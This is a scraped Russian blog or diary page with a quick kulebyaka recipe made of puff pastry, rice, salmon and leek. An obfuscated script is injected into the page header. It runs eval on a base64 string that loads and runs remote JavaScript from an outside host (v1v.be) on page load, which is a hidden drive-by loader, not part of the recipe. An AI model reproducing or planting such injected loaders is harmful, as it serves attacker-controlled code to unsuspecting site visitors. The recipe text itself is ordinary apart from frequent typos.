Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz12eXoiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Кулебяка по-быстрому
Последнее время я все куда-то спешу, поэтому отдаю предпочтение простым и быстрым блюдам. Хотя быстро, не означает не вкусно. Делюсь с вами рецептом быстрой кулебяки. Рецепт незамысловатый, но получилось вкусно, к тому же можно есть и на другрй день в холодном виде.
Вам понадобится:
2 пластины слоеного теста
1 чашка круглого риса
2 филе семги
1 лук порей с зеленой частью
Сок половины лимона
20 г сливочного масла
2 ст.л. раститеьного масла
Соль и перец
1 желток
Приготовление:
1.Сварите куглый рис до готовности в соленой воде, слейте воду, добавьте немного растительного масла, размешайте, пусть остывает. Круглый рис немного склеивается, именно это нам и нужно: кулебяка не будет разваливаться. Можно пригоовить рис заранее, тогда будет еще быстрее.
2.Лук порей разрежьте пополам повдоль, промойте холодной водой и порежьте полукольцами и белую, и зеленую часть. Аромат будет, как у свежего зеленого лука, как весной!
3.В сковороде разогрейте растительное масло, положите кусочек сливочного, выложите лук. Тушите лук на медленном огне под крышком, пока он не станет мягким, минут 5.
4.Семгу порежьте небольшими кусочками, добавьте к луку, посолите и поперчите и потушите минут 5. Затем добавьте сок лимона, рис, перемешайте и оставьте остывать.
5.Разогрейте духовку до 180 градусов.
6.Разверните первую пластину слоеного теста, уложите ее на лист для выпекания, наколите вилочкой. Выложите начинку, разровняйте и хорошо утромбуйте. Закройте второй пластиной, залепите края, смажьте взбитым желтком и нарисуйте сетку острым ножом, чтобы тесто поднималось равномерно. В середине сделайте отверстие.
7.Выпекайте 20 минут.
| « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |
